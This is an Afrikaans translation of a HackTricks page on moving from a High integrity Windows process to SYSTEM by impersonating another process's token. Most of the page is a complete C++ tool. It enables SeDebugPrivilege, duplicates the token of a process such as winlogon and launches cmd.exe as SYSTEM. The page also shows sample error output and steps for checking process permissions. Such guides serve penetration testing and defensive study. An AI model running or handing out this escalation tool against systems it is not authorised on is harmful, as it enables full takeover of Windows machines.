hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md

<details>

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## Kode

Die volgende kode van [hier](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Dit maak dit moontlik om **'n Proses-ID as argument aan te dui** en 'n CMD **wat as die gebruiker van die aangeduide proses loop**, sal uitgevoer word.\
Deur in 'n Hoë Integriteitsproses te loop, kan jy die PID van 'n proses wat as Stelsel loop (soos winlogon, wininit) aandui en 'n cmd.exe as stelsel uitvoer.
```cpp
impersonateuser.exe 1234
```
{% code title="impersonateuser.cpp" %}
```cpp
// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken,          // access token handle
LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
BOOL bEnablePrivilege   // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,            // lookup privilege on local system
lpszPrivilege,   // privilege to lookup
&luid))        // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}
```
{% endcode %}

## Fout

In sommige gevallen kan jy probeer om as System te impersoneer en dit sal nie werk nie en 'n uitset soos die volgende wys:
```cpp
[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326
```
Dit beteken dat selfs as jy op 'n Hoë Integriteitsvlak loop, **het jy nie genoeg toestemmings nie**.\
Laten ons die huidige Administrateur toestemmings oor `svchost.exe` prosesse nagaan met behulp van **processes explorer** (of jy kan ook process hacker gebruik):

1. Kies 'n proses van `svchost.exe`
2. Regskliek --> Eienskappe
3. Binne die "Sekuriteit" oortjie klik jy onderaan regs op die knoppie "Toestemmings"
4. Klik op "Gevorderd"
5. Kies "Administrateurs" en klik op "Wysig"
6. Klik op "Wys gevorderde toestemmings"

![](<../../.gitbook/assets/image (322).png>)

Die vorige prentjie bevat al die voorregte wat "Administrateurs" het oor die gekose proses (soos jy kan sien, het hulle slegs "Navraag" voorregte vir `svchost.exe`)

Kyk na die voorregte wat "Administrateurs" het oor `winlogon.exe`:

![](<../../.gitbook/assets/image (323).png>)

Binne daardie proses kan "Administrateurs" "Geheue lees" en "Toestemmings lees", wat waarskynlik Administrateurs in staat stel om die token wat deur hierdie proses gebruik word, te impersoneer.



<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>